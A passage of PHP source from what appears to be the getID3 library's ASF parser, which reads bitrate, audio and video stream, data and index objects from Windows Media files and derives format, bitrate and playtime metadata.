$wm_picture_offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = ''; do { $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); $wm_picture_offset += 2; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset; $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset); unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); $imageinfo = array(); $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; $imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo); unset($imageinfo); if (!empty($imagechunkcheck)) { $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); } if (!isset($thisfile_asf_comments['picture'])) { $thisfile_asf_comments['picture'] = array(); } $thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']); */ break; default: switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { case 0: // Unicode string if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') { $thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); } break; case 1: break; } break; } } break; case GETID3_ASF_Stream_Bitrate_Properties_Object: // Stream Bitrate Properties Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object // Object Size QWORD 64 // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header // Bitrate Records Count WORD 16 // number of records in Bitrate Records // Bitrate Records array of: variable // // * Flags WORD 16 // // * * Stream Number bits 7 (0x007F) // number of this stream // * * Reserved bits 9 (0xFF80) // hardcoded: 0 // * Average Bitrate DWORD 32 // in bits per second // shortcut $thisfile_asf['stream_bitrate_properties_object'] = array(); $thisfile_asf_streambitratepropertiesobject = &$thisfile_asf['stream_bitrate_properties_object']; $thisfile_asf_streambitratepropertiesobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_streambitratepropertiesobject['objectid'] = $NextObjectGUID; $thisfile_asf_streambitratepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_streambitratepropertiesobject['objectsize'] = $NextObjectSize; $thisfile_asf_streambitratepropertiesobject['bitrate_records_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F; $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; } break; case GETID3_ASF_Padding_Object: // Padding Object: (optional) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Padding object - GETID3_ASF_Padding_Object // Object Size QWORD 64 // size of Padding object, including 24 bytes of ASF Padding Object header // Padding Data BYTESTREAM variable // ignore // shortcut $thisfile_asf['padding_object'] = array(); $thisfile_asf_paddingobject = &$thisfile_asf['padding_object']; $thisfile_asf_paddingobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_paddingobject['objectid'] = $NextObjectGUID; $thisfile_asf_paddingobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_paddingobject['objectsize'] = $NextObjectSize; $thisfile_asf_paddingobject['padding_length'] = $thisfile_asf_paddingobject['objectsize'] - 16 - 8; $thisfile_asf_paddingobject['padding'] = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']); $offset += ($NextObjectSize - 16 - 8); break; case GETID3_ASF_Extended_Content_Encryption_Object: case GETID3_ASF_Content_Encryption_Object: // WMA DRM - just ignore $offset += ($NextObjectSize - 16 - 8); break; default: // Implementations shall ignore any standard or non-standard object that they do not know how to handle. if ($this->GUIDname($NextObjectGUIDtext)) { $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); } else { $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); } $offset += ($NextObjectSize - 16 - 8); break; } } if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) { $ASFbitrateAudio = 0; $ASFbitrateVideo = 0; for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) { switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) { case 1: $ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; break; case 2: $ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; break; default: // do nothing break; } } } if ($ASFbitrateAudio > 0) { $thisfile_audio['bitrate'] = $ASFbitrateAudio; } if ($ASFbitrateVideo > 0) { $thisfile_video['bitrate'] = $ASFbitrateVideo; } } if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) { $thisfile_audio['bitrate'] = 0; $thisfile_video['bitrate'] = 0; foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) { switch ($streamdata['stream_type']) { case GETID3_ASF_Audio_Media: // Field Name Field Type Size (bits) // Codec ID / Format Tag WORD 16 // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure // Number of Channels WORD 16 // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure // Samples Per Second DWORD 32 // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure // Average number of Bytes/sec DWORD 32 // bytes/sec of audio stream - defined as nAvgBytesPerSec field of WAVEFORMATEX structure // Block Alignment WORD 16 // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure // Bits per sample WORD 16 // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure // Codec Specific Data Size WORD 16 // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure // Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes // shortcut $thisfile_asf['audio_media'][$streamnumber] = array(); $thisfile_asf_audiomedia_currentstream = &$thisfile_asf['audio_media'][$streamnumber]; $audiomediaoffset = 0; $thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16)); $audiomediaoffset += 16; $thisfile_audio['lossless'] = false; switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) { case 0x0001: // PCM case 0x0163: // WMA9 Lossless $thisfile_audio['lossless'] = true; break; } if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { $thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate']; $thisfile_audio['bitrate'] += $dataarray['bitrate']; break; } } } else { if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) { $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8; } elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) { $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate']; } } $thisfile_audio['streams'][$streamnumber] = $thisfile_asf_audiomedia_currentstream; $thisfile_audio['streams'][$streamnumber]['wformattag'] = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']; $thisfile_audio['streams'][$streamnumber]['lossless'] = $thisfile_audio['lossless']; $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; $thisfile_audio['streams'][$streamnumber]['dataformat'] = 'wma'; unset($thisfile_audio['streams'][$streamnumber]['raw']); $thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2)); $audiomediaoffset += 2; $thisfile_asf_audiomedia_currentstream['codec_data'] = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']); $audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size']; break; case GETID3_ASF_Video_Media: // Field Name Field Type Size (bits) // Encoded Image Width DWORD 32 // width of image in pixels // Encoded Image Height DWORD 32 // height of image in pixels // Reserved Flags BYTE 8 // hardcoded: 0x02 // Format Data Size WORD 16 // size of Format Data field in bytes // Format Data array of: variable // // * Format Data Size DWORD 32 // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure // * Image Width LONG 32 // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure // * Image Height LONG 32 // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure // * Reserved WORD 16 // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure // * Bits Per Pixel Count WORD 16 // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure // * Compression ID FOURCC 32 // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure // * Image Size DWORD 32 // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure // * Horizontal Pixels / Meter DWORD 32 // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure // * Vertical Pixels / Meter DWORD 32 // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure // * Colors Used Count DWORD 32 // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure // * Important Colors Count DWORD 32 // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure // * Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes // shortcut $thisfile_asf['video_media'][$streamnumber] = array(); $thisfile_asf_videomedia_currentstream = &$thisfile_asf['video_media'][$streamnumber]; $videomediaoffset = 0; $thisfile_asf_videomedia_currentstream['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['flags'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1)); $videomediaoffset += 1; $thisfile_asf_videomedia_currentstream['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); $videomediaoffset += 2; $thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['reserved'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); $videomediaoffset += 2; $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); $videomediaoffset += 2; $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'] = substr($streamdata['type_specific_data'], $videomediaoffset, 4); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['image_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['vertical_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['colors_used'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['codec_data'] = substr($streamdata['type_specific_data'], $videomediaoffset); if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { $thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate']; $thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate']; $thisfile_video['bitrate'] += $dataarray['bitrate']; break; } } } $thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']); $thisfile_video['streams'][$streamnumber]['fourcc'] = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']; $thisfile_video['streams'][$streamnumber]['codec'] = $thisfile_asf_videomedia_currentstream['format_data']['codec']; $thisfile_video['streams'][$streamnumber]['resolution_x'] = $thisfile_asf_videomedia_currentstream['image_width']; $thisfile_video['streams'][$streamnumber]['resolution_y'] = $thisfile_asf_videomedia_currentstream['image_height']; $thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']; break; default: break; } } } while ($this->ftell() < $info['avdataend']) { $NextObjectDataHeader = $this->fread(24); $offset = 0; $NextObjectGUID = substr($NextObjectDataHeader, 0, 16); $offset += 16; $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); $NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8)); $offset += 8; switch ($NextObjectGUID) { case GETID3_ASF_Data_Object: // Data Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Data object - GETID3_ASF_Data_Object // Object Size QWORD 64 // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1 // File ID GUID 128 // unique identifier. identical to File ID field in Header Object // Total Data Packets QWORD 64 // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1 // Reserved WORD 16 // hardcoded: 0x0101 // shortcut $thisfile_asf['data_object'] = array(); $thisfile_asf_dataobject = &$thisfile_asf['data_object']; $DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24); $offset = 24; $thisfile_asf_dataobject['objectid'] = $NextObjectGUID; $thisfile_asf_dataobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_dataobject['objectsize'] = $NextObjectSize; $thisfile_asf_dataobject['fileid'] = substr($DataObjectData, $offset, 16); $offset += 16; $thisfile_asf_dataobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']); $thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8)); $offset += 8; $thisfile_asf_dataobject['reserved'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2)); $offset += 2; if ($thisfile_asf_dataobject['reserved'] != 0x0101) { $this->warning('data_object.reserved ('.getid3_lib::PrintHexBytes($thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"'); //return false; break; } // Data Packets array of: variable // // * Error Correction Flags BYTE 8 // // * * Error Correction Data Length bits 4 // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000 // * * Opaque Data Present bits 1 // // * * Error Correction Length Type bits 2 // number of bits for size of the error correction data. hardcoded: 00 // * * Error Correction Present bits 1 // If set, use Opaque Data Packet structure, else use Payload structure // * Error Correction Data $info['avdataoffset'] = $this->ftell(); $this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data $info['avdataend'] = $this->ftell(); break; case GETID3_ASF_Simple_Index_Object: // Simple Index Object: (optional, recommended, one per video stream) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Simple Index object - GETID3_ASF_Data_Object // Object Size QWORD 64 // size of Simple Index object, including 56 bytes of Simple Index Object header // File ID GUID 128 // unique identifier. may be zero or identical to File ID field in Data Object and Header Object // Index Entry Time Interval QWORD 64 // interval between index entries in 100-nanosecond units // Maximum Packet Count DWORD 32 // maximum packet count for all index entries // Index Entries Count DWORD 32 // number of Index Entries structures // Index Entries array of: variable // // * Packet Number DWORD 32 // number of the Data Packet associated with this index entry // * Packet Count WORD 16 // number of Data Packets to sent at this index entry // shortcut $thisfile_asf['simple_index_object'] = array(); $thisfile_asf_simpleindexobject = &$thisfile_asf['simple_index_object']; $SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24); $offset = 24; $thisfile_asf_simpleindexobject['objectid'] = $NextObjectGUID; $thisfile_asf_simpleindexobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_simpleindexobject['objectsize'] = $NextObjectSize; $thisfile_asf_simpleindexobject['fileid'] = substr($SimpleIndexObjectData, $offset, 16); $offset += 16; $thisfile_asf_simpleindexobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']); $thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8)); $offset += 8; $thisfile_asf_simpleindexobject['maximum_packet_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); $offset += 4; $thisfile_asf_simpleindexobject['index_entries_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); $offset += 4; $IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']); for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) { $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); $offset += 4; $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); $offset += 2; } break; case GETID3_ASF_Index_Object: // 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for the Index Object - GETID3_ASF_Index_Object // Object Size QWORD 64 // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header // Index Entry Time Interval DWORD 32 // Specifies the time interval between each index entry in ms. // Index Specifiers Count WORD 16 // Specifies the number of Index Specifiers structures in this Index Object. // Index Blocks Count DWORD 32 // Specifies the number of Index Blocks structures in this Index Object. // Index Entry Time Interval DWORD 32 // Specifies the time interval between index entries in milliseconds. This value cannot be 0. // Index Specifiers Count WORD 16 // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater. // Index Specifiers array of: varies // // * Stream Number WORD 16 // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127. // * Index Type WORD 16 // Specifies Index Type values as follows: // 1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time. // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object. // 3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set. // Nearest Past Cleanpoint is the most common type of index. // Index Entry Count DWORD 32 // Specifies the number of Index Entries in the block. // * Block Positions QWORD varies // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed. // * Index Entries array of: varies // // * * Offsets DWORD varies // An offset value of 0xffffffff indicates an invalid offset value // shortcut $thisfile_asf['asf_index_object'] = array(); $thisfile_asf_asfindexobject = &$thisfile_asf['asf_index_object']; $ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24); $offset = 24; $thisfile_asf_asfindexobject['objectid'] = $NextObjectGUID; $thisfile_asf_asfindexobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_asfindexobject['objectsize'] = $NextObjectSize; $thisfile_asf_asfindexobject['entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; $thisfile_asf_asfindexobject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); $offset += 2; $thisfile_asf_asfindexobject['index_blocks_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']); for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { $IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); $offset += 2; $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number'] = $IndexSpecifierStreamNumber; $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); $offset += 2; $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']); } $ASFIndexObjectData .= $this->fread(4); $thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; $ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']); for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { $thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8)); $offset += 8; } $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']); for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) { for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { $thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; } } break; default: // Implementations shall ignore any standard or non-standard object that they do not know how to handle. if ($this->GUIDname($NextObjectGUIDtext)) { $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8)); } else { $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8)); } $this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR); break; } } if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) { foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { switch ($streamdata['information']) { case 'WMV1': case 'WMV2': case 'WMV3': case 'MSS1': case 'MSS2': case 'WMVA': case 'WVC1': case 'WMVP': case 'WVP2': $thisfile_video['dataformat'] = 'wmv'; $info['mime_type'] = 'video/x-ms-wmv'; break; case 'MP42': case 'MP43': case 'MP4S': case 'mp4s': $thisfile_video['dataformat'] = 'asf'; $info['mime_type'] = 'video/x-ms-asf'; break; default: switch ($streamdata['type_raw']) { case 1: if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { $thisfile_video['dataformat'] = 'wmv'; if ($info['mime_type'] == 'video/x-ms-asf') { $info['mime_type'] = 'video/x-ms-wmv'; } } break; case 2: if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { $thisfile_audio['dataformat'] = 'wma'; if ($info['mime_type'] == 'video/x-ms-asf') { $info['mime_type'] = 'audio/x-ms-wma'; } } break; } break; } } } switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') { case 'MPEG Layer-3': $thisfile_audio['dataformat'] = 'mp3'; break; default: break; } if (isset($thisfile_asf_codeclistobject['codec_entries'])) { foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { switch ($streamdata['type_raw']) { case 1: // video $thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); break; case 2: // audio $thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); // AH 2003-10-01 $thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']); $thisfile_audio['codec'] = $thisfile_audio['encoder']; break; default: $this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']); break; } } } if (isset($info['audio'])) { $thisfile_audio['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); } if (!empty($thisfile_video['dataformat'])) { $thisfile_video['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); $thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1); $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); } if (!empty($thisfile_video['streams'])) { $thisfile_video['resolution_x'] = 0; $thisfile_video['resolution_y'] = 0; foreach ($thisfile_video['streams'] as $key => $valuearray) { if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) { $thisfile_video['resolution_x'] = $valuearray['resolution_x']; $thisfile_video['resolution_y'] = $valuearray['resolution_y']; } } } $info['bitrate'] = (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0); if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) { $info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8); } return true; } /** * @param int $CodecListType * * @return string */ public static function codecListObjectTypeLookup($CodecListType) { static $lookup = array( 0x0001 => 'Video Codec', 0x0002 => 'Audio Codec', 0xFFFF => 'Unknown Codec' ); return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type'); } /** * @return array */ public static function KnownGUIDs() { static $GUIDarray = array( 'GETID3_ASF_Extended_Stream_Properties_Object' => '14E6A5CB-C672-4332-8399-A96952065B5A', 'GETID3_ASF_Padding_Object' => '1806D474-CADF-4509-A4BA-9AABCB96AAE8', 'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8', 'GETID3_ASF_Script_Command_Object' => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6', 'GETID3_ASF_No_Error_Correction' => '20FB5700-5B55-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Content_Branding_Object' => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E', 